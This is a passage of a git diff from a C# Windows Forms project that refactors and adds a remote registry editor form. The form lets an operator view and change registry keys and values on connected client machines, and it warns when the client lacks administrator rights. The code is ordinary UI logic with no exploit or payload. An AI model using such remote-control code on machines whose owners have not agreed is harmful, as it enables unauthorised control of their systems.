System.Windows.Forms.ToolStripMenuItem(); this.lst_ContextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components); @@ -84,8 +86,8 @@ private void InitializeComponent() this.qWORD64bitValueToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); this.multiStringValueToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); this.expandableStringValueToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); - this.tvRegistryDirectory = new xServer.Controls.RegistryTreeView(); - this.lstRegistryKeys = new xServer.Controls.AeroListView(); + this.tvRegistryDirectory = new RegistryTreeView(); + this.lstRegistryValues = new AeroListView(); this.hName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hType = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hValue = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); @@ -116,7 +118,7 @@ private void InitializeComponent() this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 25F)); this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 100F)); this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 22F)); - this.tableLayoutPanel.Size = new System.Drawing.Size(1239, 724); + this.tableLayoutPanel.Size = new System.Drawing.Size(784, 561); this.tableLayoutPanel.TabIndex = 0; // // splitContainer @@ -131,9 +133,9 @@ private void InitializeComponent() // // splitContainer.Panel2 // - this.splitContainer.Panel2.Controls.Add(this.lstRegistryKeys); - this.splitContainer.Size = new System.Drawing.Size(1233, 671); - this.splitContainer.SplitterDistance = 411; + this.splitContainer.Panel2.Controls.Add(this.lstRegistryValues); + this.splitContainer.Size = new System.Drawing.Size(778, 508); + this.splitContainer.SplitterDistance = 259; this.splitContainer.TabIndex = 0; // // imageRegistryDirectoryList @@ -154,9 +156,9 @@ private void InitializeComponent() this.statusStrip.Dock = System.Windows.Forms.DockStyle.Fill; this.statusStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.selectedStripStatusLabel}); - this.statusStrip.Location = new System.Drawing.Point(0, 702); + this.statusStrip.Location = new System.Drawing.Point(0, 539); this.statusStrip.Name = "statusStrip"; - this.statusStrip.Size = new System.Drawing.Size(1239, 22); + this.statusStrip.Size = new System.Drawing.Size(784, 22); this.statusStrip.TabIndex = 1; this.statusStrip.Text = "statusStrip"; // @@ -204,6 +206,7 @@ private void InitializeComponent() this.editToolStripMenuItem.Name = "editToolStripMenuItem"; this.editToolStripMenuItem.Size = new System.Drawing.Size(39, 20); this.editToolStripMenuItem.Text = "Edit"; + this.editToolStripMenuItem.DropDownOpening += new System.EventHandler(this.editToolStripMenuItem_DropDownOpening); // // modifyToolStripMenuItem1 // @@ -426,7 +429,7 @@ private void InitializeComponent() this.selectedItem_ContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.modifyToolStripMenuItem, this.modifyBinaryDataToolStripMenuItem, - this.toolStripSeparator3, + this.modifyToolStripSeparator1, this.deleteToolStripMenuItem1, this.renameToolStripMenuItem1}); this.selectedItem_ContextMenuStrip.Name = "selectedItem_ContextMenuStrip"; @@ -449,10 +452,10 @@ private void InitializeComponent() this.modifyBinaryDataToolStripMenuItem.Text = "Modify Binary Data..."; this.modifyBinaryDataToolStripMenuItem.Click += new System.EventHandler(this.modifyBinaryDataRegistryValue_Click); // - // toolStripSeparator3 + // modifyToolStripSeparator1 // - this.toolStripSeparator3.Name = "toolStripSeparator3"; - this.toolStripSeparator3.Size = new System.Drawing.Size(181, 6); + this.modifyToolStripSeparator1.Name = "modifyToolStripSeparator1"; + this.modifyToolStripSeparator1.Size = new System.Drawing.Size(181, 6); // // deleteToolStripMenuItem1 // @@ -553,7 +556,7 @@ private void InitializeComponent() this.tvRegistryDirectory.Location = new System.Drawing.Point(0, 0); this.tvRegistryDirectory.Name = "tvRegistryDirectory"; this.tvRegistryDirectory.SelectedImageIndex = 0; - this.tvRegistryDirectory.Size = new System.Drawing.Size(411, 671); + this.tvRegistryDirectory.Size = new System.Drawing.Size(259, 508); this.tvRegistryDirectory.TabIndex = 0; this.tvRegistryDirectory.AfterLabelEdit += new System.Windows.Forms.NodeLabelEditEventHandler(this.tvRegistryDirectory_AfterLabelEdit); this.tvRegistryDirectory.BeforeExpand += new System.Windows.Forms.TreeViewCancelEventHandler(this.tvRegistryDirectory_BeforeExpand); @@ -561,50 +564,47 @@ private void InitializeComponent() this.tvRegistryDirectory.NodeMouseClick += new System.Windows.Forms.TreeNodeMouseClickEventHandler(this.tvRegistryDirectory_NodeMouseClick); this.tvRegistryDirectory.KeyUp += new System.Windows.Forms.KeyEventHandler(this.tvRegistryDirectory_KeyUp); // - // lstRegistryKeys + // lstRegistryValues // - this.lstRegistryKeys.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.lstRegistryValues.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { this.hName, this.hType, this.hValue}); - this.lstRegistryKeys.Dock = System.Windows.Forms.DockStyle.Fill; - this.lstRegistryKeys.FullRowSelect = true; - this.lstRegistryKeys.HeaderStyle = System.Windows.Forms.ColumnHeaderStyle.Nonclickable; - this.lstRegistryKeys.HideSelection = false; - this.lstRegistryKeys.Location = new System.Drawing.Point(0, 0); - this.lstRegistryKeys.Name = "lstRegistryKeys"; - this.lstRegistryKeys.Size = new System.Drawing.Size(818, 671); - this.lstRegistryKeys.SmallImageList = this.imageRegistryKeyTypeList; - this.lstRegistryKeys.TabIndex = 0; - this.lstRegistryKeys.UseCompatibleStateImageBehavior = false; - this.lstRegistryKeys.View = System.Windows.Forms.View.Details; - this.lstRegistryKeys.AfterLabelEdit += new System.Windows.Forms.LabelEditEventHandler(this.lstRegistryKeys_AfterLabelEdit); - this.lstRegistryKeys.ItemSelectionChanged += new System.Windows.Forms.ListViewItemSelectionChangedEventHandler(this.lstRegistryKeys_ItemSelectionChanged); - this.lstRegistryKeys.Enter += new System.EventHandler(this.lstRegistryKeys_Enter); - this.lstRegistryKeys.KeyUp += new System.Windows.Forms.KeyEventHandler(this.lstRegistryKeys_KeyUp); - this.lstRegistryKeys.Leave += new System.EventHandler(this.lstRegistryKeys_Leave); - this.lstRegistryKeys.MouseUp += new System.Windows.Forms.MouseEventHandler(this.lstRegistryKeys_MouseClick); + this.lstRegistryValues.Dock = System.Windows.Forms.DockStyle.Fill; + this.lstRegistryValues.FullRowSelect = true; + this.lstRegistryValues.HeaderStyle = System.Windows.Forms.ColumnHeaderStyle.Nonclickable; + this.lstRegistryValues.HideSelection = false; + this.lstRegistryValues.Location = new System.Drawing.Point(0, 0); + this.lstRegistryValues.Name = "lstRegistryValues"; + this.lstRegistryValues.Size = new System.Drawing.Size(515, 508); + this.lstRegistryValues.SmallImageList = this.imageRegistryKeyTypeList; + this.lstRegistryValues.TabIndex = 0; + this.lstRegistryValues.UseCompatibleStateImageBehavior = false; + this.lstRegistryValues.View = System.Windows.Forms.View.Details; + this.lstRegistryValues.AfterLabelEdit += new System.Windows.Forms.LabelEditEventHandler(this.lstRegistryKeys_AfterLabelEdit); + this.lstRegistryValues.KeyUp += new System.Windows.Forms.KeyEventHandler(this.lstRegistryKeys_KeyUp); + this.lstRegistryValues.MouseUp += new System.Windows.Forms.MouseEventHandler(this.lstRegistryKeys_MouseClick); // // hName // this.hName.Text = "Name"; - this.hName.Width = 203; + this.hName.Width = 173; // // hType // this.hType.Text = "Type"; - this.hType.Width = 149; + this.hType.Width = 104; // // hValue // this.hValue.Text = "Value"; - this.hValue.Width = 384; + this.hValue.Width = 214; // // FrmRegistryEditor // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(1239, 724); + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(784, 561); this.Controls.Add(this.tableLayoutPanel); this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.ForeColor = System.Drawing.Color.Black; @@ -612,7 +612,7 @@ private void InitializeComponent() this.MainMenuStrip = this.menuStrip; this.Name = "FrmRegistryEditor"; this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; - this.Text = "Registry Editor"; + this.Text = "Registry Editor []"; this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmRegistryEditor_FormClosing); this.Load += new System.EventHandler(this.FrmRegistryEditor_Load); this.tableLayoutPanel.ResumeLayout(false); @@ -637,7 +637,7 @@ private void InitializeComponent() private System.Windows.Forms.TableLayoutPanel tableLayoutPanel; private System.Windows.Forms.SplitContainer splitContainer; private Controls.RegistryTreeView tvRegistryDirectory; - private Controls.AeroListView lstRegistryKeys; + private Controls.AeroListView lstRegistryValues; private System.Windows.Forms.StatusStrip statusStrip; private System.Windows.Forms.ToolStripStatusLabel selectedStripStatusLabel; private System.Windows.Forms.ImageList imageRegistryDirectoryList; @@ -661,7 +661,6 @@ private void InitializeComponent() private System.Windows.Forms.ContextMenuStrip selectedItem_ContextMenuStrip; private System.Windows.Forms.ToolStripMenuItem modifyToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem modifyBinaryDataToolStripMenuItem; - private System.Windows.Forms.ToolStripSeparator toolStripSeparator3; private System.Windows.Forms.ToolStripMenuItem deleteToolStripMenuItem1; private System.Windows.Forms.ToolStripMenuItem renameToolStripMenuItem1; private System.Windows.Forms.ContextMenuStrip lst_ContextMenuStrip; @@ -693,5 +692,6 @@ private void InitializeComponent() private System.Windows.Forms.ToolStripMenuItem qWORD64bitValueToolStripMenuItem2; private System.Windows.Forms.ToolStripMenuItem multiStringValueToolStripMenuItem2; private System.Windows.Forms.ToolStripMenuItem expandableStringValueToolStripMenuItem2; + private System.Windows.Forms.ToolStripSeparator modifyToolStripSeparator1; } } \ No newline at end of file diff --git a/Quasar.Server/Forms/FrmRegistryEditor.cs b/Quasar.Server/Forms/FrmRegistryEditor.cs new file mode 100644 index 000000000..bb9f9cfd1 --- /dev/null +++ b/Quasar.Server/Forms/FrmRegistryEditor.cs @@ -0,0 +1,834 @@ +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Linq; +using System.Windows.Forms; +using Microsoft.Win32; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Utilities; +using Quasar.Server.Controls; +using Quasar.Server.Extensions; +using Quasar.Server.Helper; +using Quasar.Server.Messages; +using Quasar.Server.Networking; +using Quasar.Server.Registry; + +namespace Quasar.Server.Forms +{ + public partial class FrmRegistryEditor : Form + { + /// + /// The client which can be used for the registry editor. + /// + private readonly Client _connectClient; + + /// + /// The message handler for handling the communication with the client. + /// + private readonly RegistryHandler _registryHandler; + + /// + /// Holds the opened registry editor form for each client. + /// + private static readonly Dictionary OpenedForms = new Dictionary(); + + /// + /// Creates a new registry editor form for the client or gets the current open form, if there exists one already. + /// + /// The client used for the registry editor form. + /// + /// Returns a new registry editor form for the client if there is none currently open, otherwise creates a new one. + /// + public static FrmRegistryEditor CreateNewOrGetExisting(Client client) + { + if (OpenedForms.ContainsKey(client)) + { + return OpenedForms[client]; + } + FrmRegistryEditor f = new FrmRegistryEditor(client); + f.Disposed += (sender, args) => OpenedForms.Remove(client); + OpenedForms.Add(client, f); + return f; + } + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The client used for the registry editor form. + public FrmRegistryEditor(Client client) + { + _connectClient = client; + _registryHandler = new RegistryHandler(client); + + RegisterMessageHandler(); + InitializeComponent(); + } + + /// + /// Registers the registry editor handler for client communication. + /// + private void RegisterMessageHandler() + { + _connectClient.ClientState += ClientDisconnected; + _registryHandler.ProgressChanged += ShowErrorMessage; + _registryHandler.KeysReceived += AddKeys; + _registryHandler.KeyCreated += CreateNewKey; + _registryHandler.KeyDeleted += DeleteKey; + _registryHandler.KeyRenamed += RenameKey; + _registryHandler.ValueCreated += CreateValue; + _registryHandler.ValueDeleted += DeleteValue; + _registryHandler.ValueRenamed += RenameValue; + _registryHandler.ValueChanged += ChangeValue; + MessageHandler.Register(_registryHandler); + } + + /// + /// Unregisters the registry editor message handler. + /// + private void UnregisterMessageHandler() + { + MessageHandler.Unregister(_registryHandler); + _registryHandler.ProgressChanged -= ShowErrorMessage; + _registryHandler.KeysReceived -= AddKeys; + _registryHandler.KeyCreated -= CreateNewKey; + _registryHandler.KeyDeleted -= DeleteKey; + _registryHandler.KeyRenamed -= RenameKey; + _registryHandler.ValueCreated -= CreateValue; + _registryHandler.ValueDeleted -= DeleteValue; + _registryHandler.ValueRenamed -= RenameValue; + _registryHandler.ValueChanged -= ChangeValue; + _connectClient.ClientState -= ClientDisconnected; + } + + /// + /// Called whenever a client disconnects. + /// + /// The client which disconnected. + /// True if the client connected, false if disconnected + private void ClientDisconnected(Client client, bool connected) + { + if (!connected) + { + this.Invoke((MethodInvoker)this.Close); + } + } + + protected override CreateParams CreateParams + { + get + { + CreateParams cp = base.CreateParams; + cp.ExStyle |= 0x02000000; //WS_EX_COMPOSITED + return cp; + } + } + + private void FrmRegistryEditor_Load(object sender, EventArgs e) + { + if (_connectClient.Value.AccountType != "Admin") + { + MessageBox.Show( + "The client software is not running as administrator and therefore some functionality like Update, Create, Open and Delete may not work properly!", + "Alert!", MessageBoxButtons.OK, MessageBoxIcon.Warning); + } + + this.Text = WindowHelper.GetWindowTitle("Registry Editor", _connectClient); + + // signal client to retrive the root nodes (indicated by null) + _registryHandler.LoadRegistryKey(null); + } + + private void FrmRegistryEditor_FormClosing(object sender, FormClosingEventArgs e) + { + UnregisterMessageHandler(); + } + + private void ShowErrorMessage(object sender, string errorMsg) + { + MessageBox.Show(errorMsg, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + + #region TreeView helper functions + + private void AddRootKey(RegSeekerMatch match) + { + TreeNode node = CreateNode(match.Key, match.Key, match.Data); + node.Nodes.Add(new TreeNode()); + tvRegistryDirectory.Nodes.Add(node); + } + + private TreeNode AddKeyToTree(TreeNode parent, RegSeekerMatch subKey) + { + TreeNode node = CreateNode(subKey.Key, subKey.Key, subKey.Data); + parent.Nodes.Add(node); + if (subKey.HasSubKeys) + node.Nodes.Add(new TreeNode()); + return node; + } + + private TreeNode CreateNode(string key, string text, object tag) + { + return new TreeNode() + { + Text = text, + Name = key, + Tag = tag + }; + } + + private void AddKeys(object sender, string rootKey, RegSeekerMatch[] matches) + { + if (string.IsNullOrEmpty(rootKey)) + { + tvRegistryDirectory.BeginUpdate(); + + foreach (var match in matches) + AddRootKey(match); + + tvRegistryDirectory.SelectedNode = tvRegistryDirectory.Nodes[0]; + + tvRegistryDirectory.EndUpdate(); + } + else + { + TreeNode parent = GetTreeNode(rootKey); + + if (parent != null) + { + tvRegistryDirectory.BeginUpdate(); + + foreach (var match in matches) + AddKeyToTree(parent, match); + + parent.Expand(); + tvRegistryDirectory.EndUpdate(); + } + } + } + + private void CreateNewKey(object sender, string rootKey, RegSeekerMatch match) + { + TreeNode parent = GetTreeNode(rootKey); + + TreeNode node = AddKeyToTree(parent, match); + + node.EnsureVisible(); + + tvRegistryDirectory.SelectedNode = node; + node.Expand(); + tvRegistryDirectory.LabelEdit = true; + node.BeginEdit(); + } + + private void DeleteKey(object sender, string rootKey, string subKey) + { + TreeNode parent = GetTreeNode(rootKey); + + if (parent.Nodes.ContainsKey(subKey)) { + parent.Nodes.RemoveByKey(subKey); + } + } + + private void RenameKey(object sender, string rootKey, string oldName, string newName) + { + TreeNode parent = GetTreeNode(rootKey); + + if (parent.Nodes.ContainsKey(oldName)) + { + parent.Nodes[oldName].Text = newName; + parent.Nodes[oldName].Name = newName; + + tvRegistryDirectory.SelectedNode = parent.Nodes[newName]; + } + } + + /// + /// Tries to find the desired TreeNode given the full path to it. + /// + /// The full path to the TreeNode. + /// Null if an invalid name is passed or the TreeNode could not be found; The TreeNode represented by the full path. + private TreeNode GetTreeNode(string path) + { + string[] nodePath = path.Split(new char[] { '\\' }); + + TreeNode lastNode = tvRegistryDirectory.Nodes[nodePath[0]]; + if (lastNode == null) + return null; + + for (int i = 1; i < nodePath.Length; i++) + { + lastNode = lastNode.Nodes[nodePath[i]]; + if (lastNode == null) + return null; + } + return lastNode; + } + + #endregion + + #region ListView helper functions + + private void CreateValue(object sender, string keyPath, RegValueData value) + { + TreeNode key = GetTreeNode(keyPath); + + if (key != null ) + { + List valuesFromNode = ((RegValueData[])key.Tag).ToList(); + valuesFromNode.Add(value); + key.Tag = valuesFromNode.ToArray(); + + if (tvRegistryDirectory.SelectedNode == key) + { + RegistryValueLstItem item = new RegistryValueLstItem(value); + lstRegistryValues.Items.Add(item); + //Unselect all + lstRegistryValues.SelectedIndices.Clear(); + item.Selected = true; + lstRegistryValues.LabelEdit = true; + item.BeginEdit(); + } + + tvRegistryDirectory.SelectedNode = key; + } + } + + private void DeleteValue(object sender, string keyPath, string valueName) + { + TreeNode key = GetTreeNode(keyPath); + + if (key != null) + { + if (!RegValueHelper.IsDefaultValue(valueName)) + { + //Remove the values that have the specified name + key.Tag = ((RegValueData[])key.Tag).Where(value => value.Name != valueName).ToArray(); + + if (tvRegistryDirectory.SelectedNode == key) + lstRegistryValues.Items.RemoveByKey(valueName); + } + else //Handle delete of default value + { + var regValue = ((RegValueData[])key.Tag).First(item => item.Name == valueName); + + if(tvRegistryDirectory.SelectedNode == key) + { + var valueItem = lstRegistryValues.Items.Cast() + .SingleOrDefault(item => item.Name == valueName); + if (valueItem != null) + valueItem.Data = regValue.Kind.RegistryTypeToString(null); + } + } + + tvRegistryDirectory.SelectedNode = key; + } + } + + private void RenameValue(object sender, string keyPath, string oldName, string newName) + { + TreeNode key = GetTreeNode(keyPath); + + if (key != null) + { + var value = ((RegValueData[])key.Tag).First(item => item.Name == oldName); + value.Name = newName; + + if (tvRegistryDirectory.SelectedNode == key) + { + var valueItem = lstRegistryValues.Items.Cast() + .SingleOrDefault(item => item.Name == oldName); + if (valueItem != null) + valueItem.RegName = newName; + } + + tvRegistryDirectory.SelectedNode = key; + } + } + + private void ChangeValue(object sender, string keyPath, RegValueData value) + { + TreeNode key = GetTreeNode(keyPath); + + if (key != null) + { + var regValue = ((RegValueData[])key.Tag).First(item => item.Name == value.Name); + ChangeRegistryValue(value, regValue); + + if (tvRegistryDirectory.SelectedNode == key) + { + var valueItem = lstRegistryValues.Items.Cast() + .SingleOrDefault(item => item.Name == value.Name); + if (valueItem != null) + valueItem.Data = RegValueHelper.RegistryValueToString(value); + } + + tvRegistryDirectory.SelectedNode = key; + } + } + + private void ChangeRegistryValue(RegValueData source, RegValueData dest) + { + if (source.Kind != dest.Kind) return; + dest.Data = source.Data; + } + + private void UpdateLstRegistryValues(TreeNode node) + { + selectedStripStatusLabel.Text = node.FullPath; + + RegValueData[] ValuesFromNode = (RegValueData[])node.Tag; + + PopulateLstRegistryValues(ValuesFromNode); + } + + private void PopulateLstRegistryValues(RegValueData[] values) + { + lstRegistryValues.BeginUpdate(); + lstRegistryValues.Items.Clear(); + + //Sort values + values = ( + from value in values + orderby value.Name ascending + select value + ).ToArray(); + + foreach (var value in values) + { + RegistryValueLstItem item = new RegistryValueLstItem(value); + lstRegistryValues.Items.Add(item); + } + + lstRegistryValues.EndUpdate(); + } + + #endregion + + #region tvRegistryDirectory actions + + private void tvRegistryDirectory_AfterLabelEdit(object sender, NodeLabelEditEventArgs e) + { + if (e.Label != null) + { + e.CancelEdit = true; + + if (e.Label.Length > 0) + { + if (e.Node.Parent.Nodes.ContainsKey(e.Label)) + { + MessageBox.Show("Invalid label. \nA node with that label already exists.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning); + e.Node.BeginEdit(); + } + else + { + _registryHandler.RenameRegistryKey(e.Node.Parent.FullPath, e.Node.Name, e.Label); + tvRegistryDirectory.LabelEdit = false; + } + } + else + { + MessageBox.Show("Invalid label. \nThe label cannot be blank.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning); + e.Node.BeginEdit(); + } + } + else + { + //Stop editing if no changes where made + tvRegistryDirectory.LabelEdit = false; + } + } + + private void tvRegistryDirectory_BeforeExpand(object sender, TreeViewCancelEventArgs e) + { + TreeNode parentNode = e.Node; + + // If nothing is there (yet). + if (string.IsNullOrEmpty(parentNode.FirstNode.Name)) + { + tvRegistryDirectory.SuspendLayout(); + parentNode.Nodes.Clear(); + + _registryHandler.LoadRegistryKey(parentNode.FullPath); + + tvRegistryDirectory.ResumeLayout(); + + e.Cancel = true; + } + } + + private void tvRegistryDirectory_NodeMouseClick(object sender, TreeNodeMouseClickEventArgs e) + { + if (e.Button == MouseButtons.Right) + { + //Bug fix with rightclick not working for selectednode + tvRegistryDirectory.SelectedNode = e.Node; + + //Display the context menu + Point pos = new Point(e.X, e.Y); + CreateTreeViewMenuStrip(); + tv_ContextMenuStrip.Show(tvRegistryDirectory, pos); + } + } + + private void tvRegistryDirectory_BeforeSelect(object sender, TreeViewCancelEventArgs e) + { + UpdateLstRegistryValues(e.Node); + } + + private void tvRegistryDirectory_KeyUp(object sender, KeyEventArgs e) + { + if (e.KeyCode == Keys.Delete && GetDeleteState()) + deleteRegistryKey_Click(this, e); + } + + #endregion + + #region ToolStrip and contextmenu helper functions + + private void CreateEditToolStrip() + { + this.modifyToolStripMenuItem1.Visible = + this.modifyBinaryDataToolStripMenuItem1.Visible = + this.modifyNewtoolStripSeparator.Visible = lstRegistryValues.Focused; + + this.modifyToolStripMenuItem1.Enabled = + this.modifyBinaryDataToolStripMenuItem1.Enabled = lstRegistryValues.SelectedItems.Count == 1; + + this.renameToolStripMenuItem2.Enabled = GetRenameState(); + this.deleteToolStripMenuItem2.Enabled = GetDeleteState(); + } + + private void CreateTreeViewMenuStrip() + { + this.renameToolStripMenuItem.Enabled = tvRegistryDirectory.SelectedNode.Parent != null; + + this.deleteToolStripMenuItem.Enabled = tvRegistryDirectory.SelectedNode.Parent != null; + } + + private void CreateListViewMenuStrip() + { + this.modifyToolStripMenuItem.Enabled = + this.modifyBinaryDataToolStripMenuItem.Enabled = lstRegistryValues.SelectedItems.Count == 1; + + this.renameToolStripMenuItem1.Enabled = lstRegistryValues.SelectedItems.Count == 1 && !RegValueHelper.IsDefaultValue(lstRegistryValues.SelectedItems[0].Name); + + this.deleteToolStripMenuItem1.Enabled = tvRegistryDirectory.SelectedNode != null && lstRegistryValues.SelectedItems.Count > 0; + } + + #endregion + + #region MenuStrip actions + + private void editToolStripMenuItem_DropDownOpening(object sender, EventArgs e) + { + CreateEditToolStrip(); + } + + private void menuStripExit_Click(object sender, EventArgs e) + { + this.Close(); + } + + private void menuStripDelete_Click(object sender, EventArgs e) { + if(tvRegistryDirectory.Focused) + { + deleteRegistryKey_Click(this, e); + } + else if (lstRegistryValues.Focused) + { + deleteRegistryValue_Click(this, e); + } + } + + private void menuStripRename_Click(object sender, EventArgs e) + { + if (tvRegistryDirectory.Focused) + { + renameRegistryKey_Click(this, e); + } + else if (lstRegistryValues.Focused) + { + renameRegistryValue_Click(this, e); + } + } + + #endregion + + #region lstRegistryKeys actions + + private void lstRegistryKeys_MouseClick(object sender, MouseEventArgs e) + { + if (e.Button == MouseButtons.Right) + { + Point pos = new Point(e.X, e.Y); + + //Try to check if a item was clicked + if (lstRegistryValues.GetItemAt(pos.X, pos.Y) == null) + { + //Not on a item + lst_ContextMenuStrip.Show(lstRegistryValues, pos); + } + else + { + //Clicked on a item + CreateListViewMenuStrip(); + selectedItem_ContextMenuStrip.Show(lstRegistryValues, pos); + } + } + } + + private void lstRegistryKeys_AfterLabelEdit(object sender, LabelEditEventArgs e) + { + if (e.Label != null && tvRegistryDirectory.SelectedNode != null) + { + e.CancelEdit = true; + int index = e.Item; + + if (e.Label.Length > 0) + { + if (lstRegistryValues.Items.ContainsKey(e.Label)) + { + MessageBox.Show("Invalid label. \nA node with that label already exists.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning); + lstRegistryValues.Items[index].BeginEdit(); + return; + } + + _registryHandler.RenameRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, + lstRegistryValues.Items[index].Name, e.Label); + lstRegistryValues.LabelEdit = false; + } + else + { + MessageBox.Show("Invalid label. \nThe label cannot be blank.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning); + lstRegistryValues.Items[index].BeginEdit(); + + } + } + else + { + lstRegistryValues.LabelEdit = false; + } + } + + private void lstRegistryKeys_KeyUp(object sender, KeyEventArgs e) + { + if (e.KeyCode == Keys.Delete && GetDeleteState()) + deleteRegistryValue_Click(this, e); + } + + #endregion + + #region ContextMenu + + private void createNewRegistryKey_Click(object sender, EventArgs e) + { + if (!(tvRegistryDirectory.SelectedNode.IsExpanded) && tvRegistryDirectory.SelectedNode.Nodes.Count > 0) + { + //Subscribe (wait for node to expand) + tvRegistryDirectory.AfterExpand += this.createRegistryKey_AfterExpand; + tvRegistryDirectory.SelectedNode.Expand(); + } + else + { + _registryHandler.CreateRegistryKey(tvRegistryDirectory.SelectedNode.FullPath); + } + } + + private void deleteRegistryKey_Click(object sender, EventArgs e) + { + // prompt user to confirm delete + string msg = "Are you sure you want to permanently delete this key and all of its subkeys?"; + string caption = "Confirm Key Delete"; + var answer = MessageBox.Show(msg, caption, MessageBoxButtons.YesNo, MessageBoxIcon.Warning); + + if (answer == DialogResult.Yes) + { + string parentPath = tvRegistryDirectory.SelectedNode.Parent.FullPath; + + _registryHandler.DeleteRegistryKey(parentPath, tvRegistryDirectory.SelectedNode.Name); + } + } + + private void renameRegistryKey_Click(object sender, EventArgs e) + { + tvRegistryDirectory.LabelEdit = true; + tvRegistryDirectory.SelectedNode.BeginEdit(); + } + + #region New registry value actions + + private void createStringRegistryValue_Click(object sender, EventArgs e) + { + if (tvRegistryDirectory.SelectedNode != null) + { + // request the creation of a new Registry value of type REG_SZ + _registryHandler.CreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, + RegistryValueKind.String); + } + } + + private void createBinaryRegistryValue_Click(object sender, EventArgs e) + { + if (tvRegistryDirectory.SelectedNode != null) + { + // request the creation of a new Registry value of type REG_BINARY + _registryHandler.CreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, + RegistryValueKind.Binary); + } + } + + private void createDwordRegistryValue_Click(object sender, EventArgs e) + { + if (tvRegistryDirectory.SelectedNode != null) + { + // request the creation of a new Registry value of type REG_DWORD + _registryHandler.CreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, + RegistryValueKind.DWord); + } + } + + private void createQwordRegistryValue_Click(object sender, EventArgs e) + { + if (tvRegistryDirectory.SelectedNode != null) + { + // request the creation of a new Registry value of type REG_QWORD + _registryHandler.CreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, + RegistryValueKind.QWord); + } + } + + private void createMultiStringRegistryValue_Click(object sender, EventArgs e) + { + if (tvRegistryDirectory.SelectedNode != null) + { + // request the creation of a new Registry value of type REG_MULTI_SZ + _registryHandler.CreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, + RegistryValueKind.MultiString); + } + } + + private void createExpandStringRegistryValue_Click(object sender, EventArgs e) + { + if (tvRegistryDirectory.SelectedNode != null) + { + // request the creation of a new Registry value of type REG_EXPAND_SZ + _registryHandler.CreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, + RegistryValueKind.ExpandString); + } + } + + #endregion + + #region Registry value edit actions + + private void deleteRegistryValue_Click(object sender, EventArgs e) + { + //Prompt user to confirm delete + string msg = "Deleting certain registry values could cause system instability. Are you sure you want to permanently delete " + (lstRegistryValues.SelectedItems.Count == 1 ? "this value?": "these values?"); + string caption = "Confirm Value Delete"; + var answer = MessageBox.Show(msg, caption, MessageBoxButtons.YesNo, MessageBoxIcon.Warning); + + if (answer == DialogResult.Yes) + { + foreach (var item in lstRegistryValues.SelectedItems) + { + if (item.GetType() == typeof(RegistryValueLstItem)) + { + RegistryValueLstItem registryValue = (RegistryValueLstItem) item; + _registryHandler.DeleteRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, registryValue.RegName); + } + } + } + } + + private void renameRegistryValue_Click(object sender, EventArgs e) + { + lstRegistryValues.LabelEdit = true; + lstRegistryValues.SelectedItems[0].BeginEdit(); + } + + private void modifyRegistryValue_Click(object sender, EventArgs e) + { + CreateEditForm(false); + } + + private void modifyBinaryDataRegistryValue_Click(object sender, EventArgs e) + { + CreateEditForm(true); + } + + #endregion + + #endregion + + private void createRegistryKey_AfterExpand(object sender, TreeViewEventArgs e) + { + if (e.Node == tvRegistryDirectory.SelectedNode) + { + createNewRegistryKey_Click(this, e); + + tvRegistryDirectory.AfterExpand -= createRegistryKey_AfterExpand; + } + } + + #region helper functions + + private bool GetDeleteState() + { + if (lstRegistryValues.Focused) + return lstRegistryValues.SelectedItems.Count > 0; + else if (tvRegistryDirectory.Focused && tvRegistryDirectory.SelectedNode != null) + return tvRegistryDirectory.SelectedNode.Parent != null; + return false; + } + + private bool GetRenameState() + { + if (lstRegistryValues.Focused) + return lstRegistryValues.SelectedItems.Count == 1 && !RegValueHelper.IsDefaultValue(lstRegistryValues.SelectedItems[0].Name); + else if (tvRegistryDirectory.Focused && tvRegistryDirectory.SelectedNode != null) + return tvRegistryDirectory.SelectedNode.Parent != null; + return false; + } + + private Form GetEditForm(RegValueData value, RegistryValueKind valueKind) + { + switch (valueKind) + { + case RegistryValueKind.String: + case RegistryValueKind.ExpandString: + return new FrmRegValueEditString(value); + case 